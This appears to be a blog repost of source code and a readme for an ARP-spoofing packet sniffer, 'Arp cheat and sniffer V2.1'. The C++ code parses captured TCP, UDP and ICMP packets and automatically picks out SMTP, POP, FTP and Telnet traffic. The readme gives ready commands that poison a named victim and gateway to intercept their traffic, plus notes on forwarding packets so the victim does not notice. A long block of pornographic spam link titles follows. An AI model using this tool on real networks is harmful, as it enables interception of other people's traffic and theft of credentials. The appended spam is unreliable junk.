LISTEN_PORT;m_PI.Checked = true;m_PI.Checked = false;LostPacket = 0;SnifferState = SNIFFER_STATE_CLOSE;ZeroMemory((void *)&ListenIpList,sizeof(ListenIpList));//錯誤碼SnifferError[0]="operate success!";SnifferError[1]="WSAStartup failed!";SnifferError[2]="Sniffer has start!";SnifferError[3]="Sniffer is stoping!";SnifferError[4]="Invalid Socket!";SnifferError[5]="setsockopt rcvtimeo failed!";SnifferError[6]="setsockopt iphdrincl failed!";SnifferError[7]="bind socket failed!";SnifferError[8]="ioctlsocket failed!";SnifferError[9]="thread is not stop!";SnifferError[10]="thread close failed!";SnifferError[11]="no thread run!";SnifferError[12]="thread is not start!";SnifferError[13]="recv data error!";SnifferError[14]="send message to subthread error!";WORD wsaVersion;WSADATA WSAData;wsaVersion = MAKEWORD(2, 0);//初始化套接字if(WSAStartup(wsaVersion,&WSAData) == SOCKET_ERROR){ErrorCode=1;}else{ ErrorCode=0;WsaStartup=true;} }//析構函數 SNIFFER::~SNIFFER() {if(WsaStartup) WSACleanup(); }//開始監聽 int SNIFFER::Start(int type) {if(WsaStartup){if(SnifferState == SNIFFER_STATE_START){ErrorCode = 2;return ErrorCode;}if(SnifferState == SNIFFER_STATE_STOP){ErrorCode = 3;return ErrorCode;}//產生原始套接字BornRawSocket(RawSocket);if(RawSocket == 0){ErrorCode = 4;return ErrorCode;}//開始主嗅探線程if(type == 0) AfxBeginThread(SnifferThread,(LPVOID)this);//更換監聽狀態SnifferState = SNIFFER_STATE_START;//用戶定義寫文件if(sniffuserinfo.LogData) WriteUserDefine();//開始監聽隊列狀態線程,處理監聽超時的列表AfxBeginThread(StatusWatchThread, (LPVOID)this);ErrorCode=0;return ErrorCode;}else{ErrorCode = 1;return ErrorCode;} }//重新嗅探 int SNIFFER::ReStart() {if(SnifferState = SNIFFER_STATE_STOP){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_RESTART, NULL, NULL);ErrorCode=0;return ErrorCode;}else{ErrorCode = 11;return ErrorCode;}}ErrorCode = 9;return ErrorCode; }//關閉嗅探 int SNIFFER::SnifferClose() {if(SnifferState != SNIFFER_STATE_CLOSE){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_CLOSE, NULL, NULL);SnifferState = SNIFFER_STATE_CLOSE;MainThreadId = 0;ErrorCode = 0;return ErrorCode;}else{ErrorCode = 11;return ErrorCode;}}ErrorCode=10;return ErrorCode; }//關閉嗅探 int SNIFFER::Stop() {if(SnifferState = SNIFFER_STATE_START){if(MainThreadId){PostThreadMessage(MainThreadId, WM_SNIFFER_STOP, NULL, NULL);ErrorCode=0;return ErrorCode;}else{ErrorCode=11;return ErrorCode;}}ErrorCode=12;return ErrorCode; }//獲取錯誤碼 char * SNIFFER::GetLastError(int errorcode) {return SnifferError[errorcode]; }//分析從winpcap捕獲的數據包 int SNIFFER::AnalysePacket(char *buffer) {int totalbytes,datalen,HeaderLen,retcode;bool can=true;retcode=0;IP_HEADER *IpHeader;TCP_HEADER *TcpHeader;UDP_HEADER *UdpHeader;ICMP_HEADER *IcmpHeader;ZeroMemory((char *)&m_PI,sizeof(m_PI));m_PI.DataLen=0;strcpy(m_PI.DestIp,"-");strcpy(m_PI.DestPort,"-");strcpy(m_PI.FromIp,"-");strcpy(m_PI.FromPort,"-");memset(m_PI.PacketData,0,sizeof(m_PI.PacketData));memset(m_PI.Protocol,0,sizeof(m_PI.Protocol));char *pdata;IpHeader = (IP_HEADER *)buffer;sprintf(m_PI.Protocol, "%s", GetProtocol((unsigned char)IpHeader->Protocol));sprintf(m_PI.FromIp, "%d.%d.%d.%d", IpHeader->FromIP.address[0], IpHeader->FromIP.address[1], IpHeader->FromIP.address[2], IpHeader->FromIP.address[3]);sprintf(m_PI.DestIp,"%d.%d.%d.%d", IpHeader->ToIP.address[0],IpHeader->ToIP.address[1],IpHeader->ToIP.address[2],IpHeader->ToIP.address[3]);totalbytes = ntohs(IpHeader->TotalLen);HeaderLen = (IpHeader->VersionHdl&0x0f)*4;totalbytes -= HeaderLen;switch(IpHeader->Protocol){case IPPROTO_TCP://printf("tcp\n");TcpHeader = (TCP_HEADER *)(buffer + HeaderLen);HeaderLen = ((TcpHeader->HeaderLen)>>4) * 4;sprintf(m_PI.FromPort, "%d", ntohs(TcpHeader->FromPort));sprintf(m_PI.DestPort, "%d", ntohs(TcpHeader->ToPort));pdata = (char *)TcpHeader + HeaderLen;datalen = totalbytes-HeaderLen;memcpy(m_PI.PacketData, pdata, datalen);break;case IPPROTO_UDP://printf("udp\n");UdpHeader=(UDP_HEADER *)(buffer+HeaderLen);datalen=totalbytes-UDP_HEADER_LEN;sprintf(m_PI.FromPort,"%d",ntohs(UdpHeader->FromPort));sprintf(m_PI.DestPort,"%d",ntohs(UdpHeader->ToPort));pdata=(char *)UdpHeader+UDP_HEADER_LEN;memcpy(m_PI.PacketData,pdata,datalen);break;case IPPROTO_ICMP://printf("icmp\n");IcmpHeader=(ICMP_HEADER *)(buffer+HeaderLen);datalen=totalbytes-ICMP_HEADER_LEN;pdata=(char *)IcmpHeader+ICMP_HEADER_LEN;//PacketData.Format("type:%d code:%d data:%s",IcmpHeader->Type,IcmpHeader->Code,pdata);memcpy(m_PI.PacketData,pdata,datalen);break;default://printf("default\n");datalen=totalbytes;pdata=buffer+HeaderLen;//memcpy(m_PI.PacketData,pdata,datalen);break;}m_PI.DataLen = datalen;m_PI.Checked = false; try{if(sniffuserinfo.PacketSniffStart && m_PI.DataLen!=0) SaveSnifferData();//自動分析SMTP協議的數據包if(sniffuserinfo.SmtpSniffStart && strcmp(m_PI.DestPort,"25")==0 && m_PI.DataLen!=0) CheckSmtpPacket();//自動分析POP協議的數據包else if(sniffuserinfo.PopSniffStart && strcmp(m_PI.DestPort,"110")==0 && m_PI.DataLen!=0) CheckPopPacket();//自動分析FTP協議的數據包else if(sniffuserinfo.FtpSniffStart && strcmp(m_PI.DestPort,"21")==0 && m_PI.DataLen!=0) CheckFtpPacket();//自動分析TELNET協議的數據包else if(sniffuserinfo.TelnetSniffStart && strcmp(m_PI.DestPort,"23")==0 && m_PI.DataLen!=0) CheckTelnetPacket();else;}catch(...){//printf("\r\n+Check Packet Err...\r\n");return -1;} return retcode; }
StdAfx.h

#include <stdio.h> #include <afxwin.h> #include <winsock2.h> #include <afxdisp.h> #include "Winsvc.h" #include <io.h> #include <fcntl.h> #include <conio.h>
StdAfx.cpp

// stdafx.cpp : source file that includes just the standard includes // arp.pch will be the pre-compiled header // stdafx.obj will contain the pre-compiled type information#include "stdafx.h"// TODO: reference any additional headers you need in STDAFX.H // and not in this file

================================================================================


? ? ? ? ? ? ? ? Arp cheat and sniffer V2.1?
? ? ? ? ? ? ? ? Powered by shadow @2005/7/15
? ? ? ? ? ? ? ? my web:http://www.codehome.6600.org
? ? ? ? ? ? ? ? Has bugs please mail to:dreamshadow@mail.sdu.edu.cn


================================================================================

Usage:
-si ? ? ? ? ? ? ? ? ? ? 源ip
-di ? ? ? ? ? ? ? ? ? ? 目的ip ? ? ? *代表所有,多項用,號分割
-sp ? ? ? ? ? ? ? ? ? ? 源端口
-dp ? ? ? ? ? ? ? ? ? ? 目的端口 ? ? *代表所有
-w ? ? ? ? ? ? ? ? ? ? ?嗅探方式,1代表單向嗅探[si->di],0代表雙向嗅探[si<->di]
-p ? ? ? ? ? ? ? ? ? ? ?嗅探協議[TCP,UDP,ICMP]大寫
-m ? ? ? ? ? ? ? ? ? ? ?最大記錄文件,以M為單位
-o ? ? ? ? ? ? ? ? ? ? ?文件輸出
-hex ? ? ? ? ? ? ? ? ? ?十六進制輸出到文件
-unecho ? ? ? ? ? ? ? ? 不回顯
-unfilter ? ? ? ? ? ? ? 不過慮0字節數據包
-low ? ? ? ? ? ? ? ? ? ?粗略嗅探,丟包率高,cpu利用率低 基本0
-timeout ? ? ? ? ? ? ? ?嗅探超時,除非網絡狀況比較差否則請不要調高,默認為120秒
-sniffsmtp ? ? ? ? ? ? ?嗅探smtp
-sniffpop ? ? ? ? ? ? ? 嗅探pop
-sniffpost ? ? ? ? ? ? ?嗅探post
-sniffftp ? ? ? ? ? ? ? 嗅探ftp
-snifftelnet ? ? ? ? ? ?嗅探telnet,以上5個嗅探不受參數si,sp,di,dp,w,p影響.
-sniffpacket ? ? ? ? ? ?規則嗅探數據包,受參數si,sp,di,dp,w,p影響.
-sniffall ? ? ? ? ? ? ? 開啟所有嗅探
-onlycheat ? ? ? ? ? ? ?只欺騙
-cheatsniff ? ? ? ? ? ? 欺騙并且嗅探
-reset ? ? ? ? ? ? ? ? ?欺騙后恢復
-g ? ? ? ? ? ? ? ? ? ? ?[網關ip]
-c ? ? ? ? ? ? ? ? ? ? ?[欺騙者ip] [mac]
-t ? ? ? ? ? ? ? ? ? ? ?[受騙者ip]
-time ? ? ? ? ? ? ? ? ? [欺騙次數]
Example:
?arpsniffer -p TCP -dp 25,110 -o f:\1.txt -m 1 -sniffpacket
? ?嗅探指定規則數據包并保存到文件
?arpsniffer -sniffall -cheatsniff -t 127.0.0.1 -g 127.0.0.254
? ?欺騙并且嗅探127.0.0.1與外界的通訊,輸出到屏幕
?arpsniffer -onlycheat -t 127.0.0.1 -c 127.0.0.2 002211445544 -time 100 -reset
? ?對目標欺騙一百次,欺騙后恢復
Note:
? ? ? ? Program for 阿黛,I am very sorry for do this so late.Forgive me~~ :)


================================================================================


幫忙測試一下吧,有bug聯系我
我本機測試的時候發現了些bug,不知道是不是我們這邊是ipv6的原因
程序和代碼都在附件里~
注意程序運行的時候不要用arp.exe的名字,這會產生一個錯誤,改成任意其他名字就行了


典型的例子如下,譬如我要嗅探本網段中192.168.0.54這臺機子與外網段tcp的連接情況,可以這樣用:
arpsf -cheatsniff -t 192.168.0.54 -g 192.168.0.254 -sniffpacket -p TCP -dp 80,25,23,110 -o d:\siff.txt -w 0 -m 1


釋意:
嗅探192.168.0.54與外網的tcp連接情況并指定目的端口是80,23,25,110,嗅探方式是雙向嗅探,最大記錄文件是1M,輸出到d盤sniff.txt文件中。其中192.168.0.254是網關的地址!也可以改成同網段中其他的地址,那就是網內嗅探了!


發現的以下bug:


1.本機運行該程序時會使自己上不了網,可能是數據包轉發的時候出了點問題。[了解的告訴我一下] --->已修復


2.在欺騙嗅探的時候會降低對方的網速,程序執行還有優化的地方,希望大家提出比較好的解決方法。--->現在最快可以達到350包/s


3.修復了包處理的bug


--》其他bug等待大家發現。。。


幾點不足:


由于時間倉促,只能分析tcp,udp和icmp三種數據包,等以后有時間了我會把其他包的分析都添上去的~~


注意事項:


在運行該程序前,請先安裝winpcap驅動!
================================================================================
編程中遇到的問題:


1.數據包構造問題


? 由于數據包的大小是固定,多一個字節都會出錯,因此在構造結構體的時候尤其要小心,不要忘記vc中對結構體變量大小自動對齊這個問題;所謂自動對齊釋疑如下:


在vc里定義結構體的時候,在32bit的模式下,結構體中的變量內存會自動對齊,打個比方吧:[這個問題我是在安焦上看到的,剛好解決了我的arp發送問題]


例有如下結構體:


struct test{


char ch;


int len;


}a;


這個結構體的實際大小實際上是8個字節,因為在32bit下自動對齊,所以ch后面會多出3個字節。


如果不想自動對齊,可以在結構體的前后加上#pragma參數


例如做如下定義:


#pragma pack(push,1)


struct test{


char ch;


int len;


}a;


#pragma pack(pop)


此時的結構體a才是5個字節!


2.數據包轉發問題


? 這個在嗅探中是很重要,如果轉發不成功,對方就會斷網了。
? 這里具體的實現你們看代碼吧,我只講兩點


一、
? ?用winpacap轉發的時候注意這個函數的引用,PacketInitPacket(lpPacket, SZbuff, 60);
? ?在發包前初始化一次PacketInitPacket(lpPacket, SZbuff, 60);在嗅探前初始化回來PacketInitPacket(lpPacket,buffer,256000);
? ?如果要嗅探數據包要確保內存足夠大,基本256000就行了。


二、注意在轉發數據包的時候不要對自己發出去的然后又攔截下來的數據包重復捕獲,否則就陷入死循環了,具體看我代碼中的


IsInvalidPacket()
這個函數的用法!


主要的就這些問題了,希望對大家有所幫助。:)


//修復的bug :
2003下無法獲得adapter list
優化了單雙向嗅探流程
修復欺騙發包bug
修復存儲數據時的一個bug
powered by shadow QQ:176017352 ?2005/7/15
================================================================================


申明:
? ? 由于使用本軟件造成的不良后果,請使用者自負!








總結

以上是生活随笔為你收集整理的局域网arpsniffer源码剖析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

伊人久久大香线焦av综合影院 | 成人影院yy111111在线观看 | 久久精品国产一区二区三区 | 粉嫩少妇内射浓精videos | 成在人线av无码免费 | 精品一区二区不卡无码av | 国产亚洲精品久久久久久大师 | 欧美人与禽猛交狂配 | 国产莉萝无码av在线播放 | 天堂亚洲2017在线观看 | 国产精品无码一区二区桃花视频 | 2019nv天堂香蕉在线观看 | 亚洲人成人无码网www国产 | 131美女爱做视频 | 日韩少妇白浆无码系列 | 麻豆国产97在线 | 欧洲 | 又黄又爽又色的视频 | 天堂无码人妻精品一区二区三区 | 国产97人人超碰caoprom | 精品国产青草久久久久福利 | 成人无码精品1区2区3区免费看 | 玩弄中年熟妇正在播放 | av人摸人人人澡人人超碰下载 | 男女下面进入的视频免费午夜 | 国产精品无码一区二区桃花视频 | 亚洲精品国产a久久久久久 | 天天av天天av天天透 | 99久久久无码国产精品免费 | 久久精品中文字幕大胸 | 亚洲色偷偷偷综合网 | 一本大道伊人av久久综合 | 国内精品人妻无码久久久影院蜜桃 | 国产精品无码一区二区三区不卡 | 色 综合 欧美 亚洲 国产 | 99久久人妻精品免费一区 | 免费国产成人高清在线观看网站 | 欧美喷潮久久久xxxxx | 国产香蕉97碰碰久久人人 | 日韩无码专区 | 国产精品99爱免费视频 | 日韩精品无码一区二区中文字幕 | 风流少妇按摩来高潮 | 少妇人妻大乳在线视频 | 欧美阿v高清资源不卡在线播放 | 极品尤物被啪到呻吟喷水 | 亚洲精品国产精品乱码视色 | 日日天日日夜日日摸 | 国产无遮挡又黄又爽又色 | 最近免费中文字幕中文高清百度 | 国产性猛交╳xxx乱大交 国产精品久久久久久无码 欧洲欧美人成视频在线 | 天天燥日日燥 | 帮老师解开蕾丝奶罩吸乳网站 | 波多野结衣aⅴ在线 | 亚洲自偷自偷在线制服 | 国产情侣作爱视频免费观看 | 奇米影视7777久久精品人人爽 | 日日摸天天摸爽爽狠狠97 | 色 综合 欧美 亚洲 国产 | 久久久久se色偷偷亚洲精品av | 精品 日韩 国产 欧美 视频 | 波多野结衣av在线观看 | 三上悠亚人妻中文字幕在线 | 欧美日韩一区二区三区自拍 | 亚洲人成人无码网www国产 | 无套内谢老熟女 | 国内精品久久久久久中文字幕 | 久久国产精品二国产精品 | 亚洲成熟女人毛毛耸耸多 | 一本久道久久综合婷婷五月 | 国产亚洲精品久久久久久国模美 | 午夜不卡av免费 一本久久a久久精品vr综合 | 亚洲色在线无码国产精品不卡 | 久久久精品欧美一区二区免费 | 国产小呦泬泬99精品 | 久青草影院在线观看国产 | 亚洲熟妇色xxxxx欧美老妇y | 国产成人综合美国十次 | 欧美丰满熟妇xxxx性ppx人交 | 成人片黄网站色大片免费观看 | 国产av一区二区精品久久凹凸 | 国产精品人妻一区二区三区四 | 欧美一区二区三区视频在线观看 | 无码av免费一区二区三区试看 | 全黄性性激高免费视频 | 97夜夜澡人人双人人人喊 | 永久免费精品精品永久-夜色 | 欧美怡红院免费全部视频 | 久久精品国产大片免费观看 | 男人和女人高潮免费网站 | 无码成人精品区在线观看 | 国产香蕉97碰碰久久人人 | 亚洲性无码av中文字幕 | 成 人 网 站国产免费观看 | 久久国产精品偷任你爽任你 | 久久综合网欧美色妞网 | 色五月五月丁香亚洲综合网 | 中文字幕中文有码在线 | 波多野结衣乳巨码无在线观看 | 亚洲精品国偷拍自产在线麻豆 | 午夜时刻免费入口 | 麻豆成人精品国产免费 | 美女扒开屁股让男人桶 | 7777奇米四色成人眼影 | 色老头在线一区二区三区 | 少女韩国电视剧在线观看完整 | 久久久久久a亚洲欧洲av冫 | 国产成人久久精品流白浆 | 老熟妇仑乱视频一区二区 | 天堂а√在线中文在线 | 日日天干夜夜狠狠爱 | 粗大的内捧猛烈进出视频 | 成人无码视频在线观看网站 | 婷婷综合久久中文字幕蜜桃三电影 | 永久免费精品精品永久-夜色 | 欧美喷潮久久久xxxxx | 亚洲色大成网站www | 性啪啪chinese东北女人 | 人人妻人人澡人人爽欧美一区 | 人妻人人添人妻人人爱 | 伊人久久大香线蕉亚洲 | 老熟妇仑乱视频一区二区 | 久久久亚洲欧洲日产国码αv | 欧洲熟妇色 欧美 | 精品国产一区二区三区四区在线看 | 天堂亚洲2017在线观看 | 亚洲精品中文字幕乱码 | 亚洲精品成人av在线 | 国产人妻人伦精品 | 国产成人亚洲综合无码 | 日韩少妇内射免费播放 | 啦啦啦www在线观看免费视频 | 国产精品无码mv在线观看 | 夜精品a片一区二区三区无码白浆 | 色狠狠av一区二区三区 | 精品厕所偷拍各类美女tp嘘嘘 | 精品一区二区不卡无码av | 红桃av一区二区三区在线无码av | 国内少妇偷人精品视频 | 蜜臀aⅴ国产精品久久久国产老师 | 丰满护士巨好爽好大乳 | 国产情侣作爱视频免费观看 | 国产成人无码a区在线观看视频app | 人人爽人人爽人人片av亚洲 | 黑人粗大猛烈进出高潮视频 | 国产成人精品一区二区在线小狼 | 国产乱人无码伦av在线a | 亚洲欧美国产精品久久 | 亚洲综合久久一区二区 | 国产麻豆精品精东影业av网站 | 国产肉丝袜在线观看 | 成人性做爰aaa片免费看 | 亚洲熟妇色xxxxx欧美老妇y | 啦啦啦www在线观看免费视频 | 中文字幕av伊人av无码av | 久久视频在线观看精品 | 激情五月综合色婷婷一区二区 | 国产 精品 自在自线 | 在线成人www免费观看视频 | 最新国产麻豆aⅴ精品无码 | 欧美人与善在线com | 一区二区三区高清视频一 | 精品国精品国产自在久国产87 | 图片小说视频一区二区 | 无码人妻av免费一区二区三区 | 粗大的内捧猛烈进出视频 | 男人的天堂2018无码 | 在线 国产 欧美 亚洲 天堂 | 牛和人交xxxx欧美 | 一二三四社区在线中文视频 | 久久亚洲国产成人精品性色 | 99er热精品视频 | 在线观看免费人成视频 | 丰满人妻翻云覆雨呻吟视频 | 国产精品久久久久久久9999 | 国产9 9在线 | 中文 | 在线播放免费人成毛片乱码 | 欧美乱妇无乱码大黄a片 | 天天摸天天透天天添 | 天天做天天爱天天爽综合网 | 7777奇米四色成人眼影 | 99国产精品白浆在线观看免费 | 高清国产亚洲精品自在久久 | 欧美自拍另类欧美综合图片区 | 免费观看又污又黄的网站 | 国产精品久久久久久久9999 | 国产精品亚洲专区无码不卡 | 亚洲中文字幕在线无码一区二区 | 欧美精品免费观看二区 | 九九综合va免费看 | 亚洲码国产精品高潮在线 | 纯爱无遮挡h肉动漫在线播放 | 久久综合香蕉国产蜜臀av | 日韩人妻少妇一区二区三区 | 中文字幕无码av波多野吉衣 | 国产日产欧产精品精品app | 午夜成人1000部免费视频 | 成在人线av无码免观看麻豆 | 中文字幕无线码免费人妻 | 少妇无码吹潮 | 国产精品第一国产精品 | 国产精品久久久久久久9999 | 国产人妻人伦精品1国产丝袜 | 国产超碰人人爽人人做人人添 | 国产 精品 自在自线 | 成人三级无码视频在线观看 | 在线天堂新版最新版在线8 | 激情综合激情五月俺也去 | 国产偷自视频区视频 | 亚洲精品一区二区三区大桥未久 | 国产婷婷色一区二区三区在线 | 久久综合给久久狠狠97色 | www国产亚洲精品久久久日本 | 精品无码成人片一区二区98 | 国产情侣作爱视频免费观看 | 久久精品国产日本波多野结衣 | 99久久亚洲精品无码毛片 | 俺去俺来也www色官网 | 一本久久a久久精品vr综合 | 无码精品人妻一区二区三区av | 正在播放老肥熟妇露脸 | 亚洲熟妇色xxxxx亚洲 | 久久国产精品偷任你爽任你 | 国产精品亚洲专区无码不卡 | 熟妇人妻激情偷爽文 | 97色伦图片97综合影院 | 国产精品人人妻人人爽 | 无码人妻精品一区二区三区下载 | 精品国产麻豆免费人成网站 | 国产成人午夜福利在线播放 | 亚洲欧洲日本综合aⅴ在线 | 久青草影院在线观看国产 | 色情久久久av熟女人妻网站 | 精品一区二区三区波多野结衣 | 亚洲国产精品一区二区第一页 | 99久久精品国产一区二区蜜芽 | 国产在线精品一区二区三区直播 | 久久亚洲精品成人无码 | 成熟人妻av无码专区 | 一本大道伊人av久久综合 | 国产精品亚洲一区二区三区喷水 | 日本精品人妻无码免费大全 | 精品人人妻人人澡人人爽人人 | 欧美人妻一区二区三区 | 久久精品中文字幕大胸 | 动漫av一区二区在线观看 | aa片在线观看视频在线播放 | 久久国产精品精品国产色婷婷 | 18禁黄网站男男禁片免费观看 | 帮老师解开蕾丝奶罩吸乳网站 | 福利一区二区三区视频在线观看 | 精品国偷自产在线视频 | 领导边摸边吃奶边做爽在线观看 | 亚洲狠狠色丁香婷婷综合 | 乱人伦人妻中文字幕无码久久网 | 国产特级毛片aaaaaaa高清 | 扒开双腿吃奶呻吟做受视频 | 国产一区二区不卡老阿姨 | 亚洲性无码av中文字幕 | 欧美高清在线精品一区 | 国产精品igao视频网 | 日本高清一区免费中文视频 | 国产精品久久久久久亚洲毛片 | 六月丁香婷婷色狠狠久久 | 欧美高清在线精品一区 | 天天躁日日躁狠狠躁免费麻豆 | 亚洲一区二区三区含羞草 | 久久婷婷五月综合色国产香蕉 | 超碰97人人做人人爱少妇 | 国产亚洲精品精品国产亚洲综合 | 国产av无码专区亚洲awww | 人妻aⅴ无码一区二区三区 | 美女扒开屁股让男人桶 | 日本欧美一区二区三区乱码 | 国产69精品久久久久app下载 | 免费无码肉片在线观看 | 波多野结衣乳巨码无在线观看 | 国产精品人人妻人人爽 | 无套内谢老熟女 | 久久精品一区二区三区四区 | 亚洲欧美日韩国产精品一区二区 | 狠狠色噜噜狠狠狠7777奇米 | 国内综合精品午夜久久资源 | 久久国产精品_国产精品 | 欧美日韩一区二区免费视频 | 国产麻豆精品一区二区三区v视界 | 国产乱码精品一品二品 | 欧美阿v高清资源不卡在线播放 | 亚洲中文字幕久久无码 | 东北女人啪啪对白 | 国产日产欧产精品精品app | 天堂在线观看www | 人妻夜夜爽天天爽三区 | 久久久www成人免费毛片 | 亚洲精品成人av在线 | 久9re热视频这里只有精品 | 亚洲成av人片在线观看无码不卡 | 极品嫩模高潮叫床 | 一个人免费观看的www视频 | 中文字幕中文有码在线 | 欧美日韩亚洲国产精品 | 亚洲人成网站色7799 | 亚洲国产精品一区二区美利坚 | 久久综合给合久久狠狠狠97色 | 熟女体下毛毛黑森林 | 人人妻人人藻人人爽欧美一区 | 国产香蕉尹人综合在线观看 | 日韩精品a片一区二区三区妖精 | 欧洲vodafone精品性 | 国内精品人妻无码久久久影院 | 国产成人一区二区三区在线观看 | 东京热一精品无码av | 美女扒开屁股让男人桶 | 东京热无码av男人的天堂 | 午夜福利一区二区三区在线观看 | 青青久在线视频免费观看 | 亚洲综合另类小说色区 | 国产97人人超碰caoprom | 亚洲 激情 小说 另类 欧美 | 一本久久a久久精品亚洲 | 色欲av亚洲一区无码少妇 | 无码人妻久久一区二区三区不卡 | 国产精品自产拍在线观看 | 国产人妻久久精品二区三区老狼 | 老熟女乱子伦 | 男女性色大片免费网站 | 成人精品一区二区三区中文字幕 | 67194成是人免费无码 | 亚洲a无码综合a国产av中文 | 久久国产精品二国产精品 | 亚洲欧洲无卡二区视頻 | 少妇太爽了在线观看 | 亚洲熟悉妇女xxx妇女av | 日韩 欧美 动漫 国产 制服 | 精品国产一区av天美传媒 | 夜精品a片一区二区三区无码白浆 | 爆乳一区二区三区无码 | 国产精品手机免费 | 欧洲熟妇色 欧美 | 大肉大捧一进一出好爽视频 | 亚洲精品久久久久中文第一幕 | 国产9 9在线 | 中文 | 日本免费一区二区三区最新 | 东京无码熟妇人妻av在线网址 | 98国产精品综合一区二区三区 | 久久精品人人做人人综合试看 | 无遮无挡爽爽免费视频 | 日产精品高潮呻吟av久久 | 中文精品无码中文字幕无码专区 | 日韩精品乱码av一区二区 | 亚洲精品国产第一综合99久久 | 日本熟妇人妻xxxxx人hd | 99久久精品国产一区二区蜜芽 | 日韩av无码一区二区三区 | 亚洲熟妇色xxxxx欧美老妇 | 久久久久亚洲精品中文字幕 | 丰满肥臀大屁股熟妇激情视频 | 色婷婷久久一区二区三区麻豆 | 亚洲精品一区二区三区四区五区 | а天堂中文在线官网 | 欧美变态另类xxxx | 天天拍夜夜添久久精品大 | 又色又爽又黄的美女裸体网站 | 强奷人妻日本中文字幕 | 日韩欧美中文字幕在线三区 | 丰满岳乱妇在线观看中字无码 | 色综合久久中文娱乐网 | 亚洲精品午夜国产va久久成人 | 人妻插b视频一区二区三区 | 蜜桃臀无码内射一区二区三区 | 国产精品久久久久7777 | 人妻少妇被猛烈进入中文字幕 | 亚洲天堂2017无码中文 | 日韩精品无码免费一区二区三区 | 2020久久香蕉国产线看观看 | 国产女主播喷水视频在线观看 | 狠狠综合久久久久综合网 | 色一情一乱一伦一视频免费看 | 精品无码一区二区三区的天堂 | 55夜色66夜色国产精品视频 | 国内精品人妻无码久久久影院蜜桃 | 丁香啪啪综合成人亚洲 | 国产绳艺sm调教室论坛 | 色婷婷香蕉在线一区二区 | 377p欧洲日本亚洲大胆 | 精品一二三区久久aaa片 | 国产精品久久久久久亚洲影视内衣 | 国产成人无码专区 | 2019午夜福利不卡片在线 | 红桃av一区二区三区在线无码av | 久久99热只有频精品8 | 欧美人与物videos另类 | 国产乱人伦app精品久久 国产在线无码精品电影网 国产国产精品人在线视 | а√资源新版在线天堂 | 高潮毛片无遮挡高清免费视频 | 少女韩国电视剧在线观看完整 | 成人无码影片精品久久久 | 国产精品亚洲一区二区三区喷水 | 精品乱码久久久久久久 | 国产无遮挡又黄又爽又色 | 欧美怡红院免费全部视频 | 久久久久久av无码免费看大片 | 大地资源网第二页免费观看 | 伊人久久大香线蕉午夜 | 男人的天堂av网站 | 伊在人天堂亚洲香蕉精品区 | 青青久在线视频免费观看 | 亚洲精品国产第一综合99久久 | 一本精品99久久精品77 | 色综合久久久久综合一本到桃花网 | 天天躁日日躁狠狠躁免费麻豆 | 宝宝好涨水快流出来免费视频 | 日本成熟视频免费视频 | 国产成人无码a区在线观看视频app | 领导边摸边吃奶边做爽在线观看 | 国产一区二区三区影院 | 日韩 欧美 动漫 国产 制服 | 激情五月综合色婷婷一区二区 | 日本乱人伦片中文三区 | 精品国产国产综合精品 | 内射老妇bbwx0c0ck | 久久精品一区二区三区四区 | 国产av一区二区精品久久凹凸 | 2020久久香蕉国产线看观看 | 2020久久香蕉国产线看观看 | 国产成人亚洲综合无码 | 亚洲人成影院在线无码按摩店 | 国产激情艳情在线看视频 | 中文字幕av无码一区二区三区电影 | 色 综合 欧美 亚洲 国产 | 精品国产一区二区三区四区 | 精品人人妻人人澡人人爽人人 | 国产精品美女久久久 | 爽爽影院免费观看 | 免费人成网站视频在线观看 | 欧美刺激性大交 | 日韩成人一区二区三区在线观看 | 久久国产精品_国产精品 | 日本精品人妻无码免费大全 | 国产日产欧产精品精品app | 精品亚洲韩国一区二区三区 | 国产口爆吞精在线视频 | 丰满少妇人妻久久久久久 | 荫蒂添的好舒服视频囗交 | 日本一卡2卡3卡四卡精品网站 | 成人无码影片精品久久久 | 97久久国产亚洲精品超碰热 | 日本一区二区三区免费高清 | 国产又爽又黄又刺激的视频 | 国产av久久久久精东av | 亚洲大尺度无码无码专区 | 国产香蕉尹人视频在线 | 久久精品女人的天堂av | 又黄又爽又色的视频 | 久久伊人色av天堂九九小黄鸭 | 亚洲综合另类小说色区 | 丁香花在线影院观看在线播放 | 国产精品丝袜黑色高跟鞋 | 天堂无码人妻精品一区二区三区 | 国产69精品久久久久app下载 | 在线亚洲高清揄拍自拍一品区 | 97se亚洲精品一区 | 东京无码熟妇人妻av在线网址 | 国产av一区二区三区最新精品 | 日日天干夜夜狠狠爱 | 亚洲色欲色欲天天天www | 欧美国产亚洲日韩在线二区 | yw尤物av无码国产在线观看 | 又粗又大又硬毛片免费看 | 欧美日韩亚洲国产精品 | 无码吃奶揉捏奶头高潮视频 | 亚洲精品一区三区三区在线观看 | 2020久久香蕉国产线看观看 | 成人精品视频一区二区 | 国产 精品 自在自线 | 亚洲成a人片在线观看无码 | 亚洲大尺度无码无码专区 | 中文字幕乱码中文乱码51精品 | 国产激情艳情在线看视频 | 国产成人久久精品流白浆 | 日韩av无码一区二区三区不卡 | 国产黄在线观看免费观看不卡 | 蜜桃无码一区二区三区 | 无码免费一区二区三区 | 精品夜夜澡人妻无码av蜜桃 | 国内丰满熟女出轨videos | 四虎国产精品免费久久 | 日韩欧美中文字幕在线三区 | 国产精品理论片在线观看 | 亚洲国产一区二区三区在线观看 | 国产成人人人97超碰超爽8 | 久久久久久av无码免费看大片 | 18无码粉嫩小泬无套在线观看 | 亚洲中文字幕无码中文字在线 | 国产成人久久精品流白浆 | 日本成熟视频免费视频 | 国内老熟妇对白xxxxhd | 亚洲人成人无码网www国产 | 国产香蕉尹人视频在线 | 久久久亚洲欧洲日产国码αv | www国产精品内射老师 | 日本熟妇浓毛 | 国内精品人妻无码久久久影院蜜桃 | 精品 日韩 国产 欧美 视频 | 中文字幕av无码一区二区三区电影 | 国产精品99久久精品爆乳 | 日本一本二本三区免费 | 2019午夜福利不卡片在线 | 正在播放东北夫妻内射 | 色综合视频一区二区三区 | 99国产欧美久久久精品 | 亚洲国产av精品一区二区蜜芽 | 成年美女黄网站色大免费视频 | 国精产品一品二品国精品69xx | 女人被男人躁得好爽免费视频 | 国产无遮挡又黄又爽免费视频 | 国内综合精品午夜久久资源 | 丁香啪啪综合成人亚洲 | 精品一二三区久久aaa片 | 国产精品自产拍在线观看 | 亚洲熟悉妇女xxx妇女av | 国产9 9在线 | 中文 | 